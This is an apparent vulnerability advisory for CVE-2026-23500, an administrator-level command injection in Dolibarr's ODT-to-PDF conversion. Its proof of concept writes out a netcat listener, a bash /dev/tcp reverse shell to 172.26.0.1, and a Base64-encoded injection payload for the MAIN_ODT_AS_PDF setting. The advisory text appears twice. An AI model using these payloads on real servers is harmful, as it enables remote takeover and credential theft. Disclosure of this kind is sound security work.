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CVE-2026-23500NVD
Vulnerability Summary
### Summary
An authenticated administrator can execute arbitrary operating system commands by injecting a malicious payload into the `MAIN_ODT_AS_PDF` configuration constant. This vulnerability exists because the application fails to properly validate or escape the command path before passing it to the `exec()` function in the ODT to PDF conversion process.
### Details
The vulnerability is located in `htdocs/includes/odtphp/odf.php`.
When the system tries to convert an ODT document to PDF (e.g., in Proposals, Invoices), it constructs a shell command using the `MAIN_ODT_AS_PDF` global setting.
Code snippet (`htdocs/includes/odtphp/odf.php`, approx line 930):
```php
$command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name);
// ...
exec($command, $output_arr, $retval);
```
While the filename `$name` is sanitized using `escapeshellcmd()`, the configuration variable `MAIN_ODT_AS_PDF` is retrieved directly from the database and concatenated at the beginning of the string. An attacker with administrative privileges can set this variable to include a command separator (like `;`) followed by arbitrary commands.
### PoC
**Prerequisites:**
1. Login as an Administrator.
2. Ensure the "Commercial Proposals" module is enabled and "ODT templates" are activated in its setup.
**Steps to reproduce (Reverse Shell):**
1. Start a netcat listener on the attacker's machine (IP: `172.26.0.1`, Port: `4445`):
```bash
nc -lvnp 4445
```
2. Prepare the payload. To avoid issues with special characters (like `&` or `>`) being escaped by the web application or shell, encode the reverse shell command in Base64:
```bash
# Command: bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'
echo "bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'" | base64
# Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK
```
3. Navigate to **Home -> Setup -> Other Setup**.
4. Add or modify the constant `MAIN_ODT_AS_PDF` with the following injection payload:
```bash
jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash
```
*(Explanation: `jodconverter` satisfies the initial check, `;` acts as a command separator, and the pipeline decodes and executes the Base64 payload).*
<img width="1898" height="696" alt="image" src="https://github.com/user-attachments/assets/12e4aa61-eb9d-4342-bd03-9a1e824b8316" />
5. Navigate to **Commerce -> New proposal**, create a draft, select an ODT template (e.g., `generic_proposal_odt`), and click **Generate**.
<img width="1907" height="668" alt="image" src="https://github.com/user-attachments/assets/d790847e-50c1-47eb-994b-b2596b949242" />
<img width="1858" height="346" alt="image" src="https://github.com/user-attachments/assets/afbeb170-d004-49d6-a395-1b4572fbf2e7" />
<img width="848" height="183" alt="image" src="https://github.com/user-attachments/assets/93fbe6c9-96a8-4d0f-ad0e-4aea69f0fec1" />
6. Check the netcat listener. A connection will be established, granting a shell on the server:
<img width="616" height="193" alt="image" src="https://github.com/user-attachments/assets/e90817da-9bb2-4fe1-8377-be10d8640e37" />
### Impact
**Remote Code Execution (RCE).**
An attacker who gains access to an administrator account (or a malicious administrator) can execute arbitrary commands on the underlying server with the privileges of the web server user (typically `www-data`). This allows for:
- Reading sensitive configuration files (database credentials).
- Modifying application code.
- Full system compromise depending on server configuration (e.g., docker escape, pivoting).
---
### Credits
Reported by Łukasz Rybak
An authenticated administrator can execute arbitrary operating system commands by injecting a malicious payload into the `MAIN_ODT_AS_PDF` configuration constant. This vulnerability exists because the application fails to properly validate or escape the command path before passing it to the `exec()` function in the ODT to PDF conversion process.
### Details
The vulnerability is located in `htdocs/includes/odtphp/odf.php`.
When the system tries to convert an ODT document to PDF (e.g., in Proposals, Invoices), it constructs a shell command using the `MAIN_ODT_AS_PDF` global setting.
Code snippet (`htdocs/includes/odtphp/odf.php`, approx line 930):
```php
$command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name);
// ...
exec($command, $output_arr, $retval);
```
While the filename `$name` is sanitized using `escapeshellcmd()`, the configuration variable `MAIN_ODT_AS_PDF` is retrieved directly from the database and concatenated at the beginning of the string. An attacker with administrative privileges can set this variable to include a command separator (like `;`) followed by arbitrary commands.
### PoC
**Prerequisites:**
1. Login as an Administrator.
2. Ensure the "Commercial Proposals" module is enabled and "ODT templates" are activated in its setup.
**Steps to reproduce (Reverse Shell):**
1. Start a netcat listener on the attacker's machine (IP: `172.26.0.1`, Port: `4445`):
```bash
nc -lvnp 4445
```
2. Prepare the payload. To avoid issues with special characters (like `&` or `>`) being escaped by the web application or shell, encode the reverse shell command in Base64:
```bash
# Command: bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'
echo "bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'" | base64
# Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK
```
3. Navigate to **Home -> Setup -> Other Setup**.
4. Add or modify the constant `MAIN_ODT_AS_PDF` with the following injection payload:
```bash
jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash
```
*(Explanation: `jodconverter` satisfies the initial check, `;` acts as a command separator, and the pipeline decodes and executes the Base64 payload).*
<img width="1898" height="696" alt="image" src="https://github.com/user-attachments/assets/12e4aa61-eb9d-4342-bd03-9a1e824b8316" />
5. Navigate to **Commerce -> New proposal**, create a draft, select an ODT template (e.g., `generic_proposal_odt`), and click **Generate**.
<img width="1907" height="668" alt="image" src="https://github.com/user-attachments/assets/d790847e-50c1-47eb-994b-b2596b949242" />
<img width="1858" height="346" alt="image" src="https://github.com/user-attachments/assets/afbeb170-d004-49d6-a395-1b4572fbf2e7" />
<img width="848" height="183" alt="image" src="https://github.com/user-attachments/assets/93fbe6c9-96a8-4d0f-ad0e-4aea69f0fec1" />
6. Check the netcat listener. A connection will be established, granting a shell on the server:
<img width="616" height="193" alt="image" src="https://github.com/user-attachments/assets/e90817da-9bb2-4fe1-8377-be10d8640e37" />
### Impact
**Remote Code Execution (RCE).**
An attacker who gains access to an administrator account (or a malicious administrator) can execute arbitrary commands on the underlying server with the privileges of the web server user (typically `www-data`). This allows for:
- Reading sensitive configuration files (database credentials).
- Modifying application code.
- Full system compromise depending on server configuration (e.g., docker escape, pivoting).
---
### Credits
Reported by Łukasz Rybak
CVSS v4.0 Base Metrics — Score 9.4
Attack VectorNetwork
Attack ComplexityLow
Attack RequirementsNone
Privileges RequiredHigh
User InteractionNone
Confidentiality (Vulnerable System)High
Integrity (Vulnerable System)High
Availability (Vulnerable System)High
Confidentiality (Subsequent System)High
Integrity (Subsequent System)High
Availability (Subsequent System)High
CVSS v3.1 Base Metrics — Score 9.1
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredHigh
User InteractionNone
ScopeChanged
ConfidentialityHigh
IntegrityHigh
AvailabilityHigh
Affected & Patched Versions
- dolibarr/dolibarr <= 22.0.4
Not provided by Private for this CVE.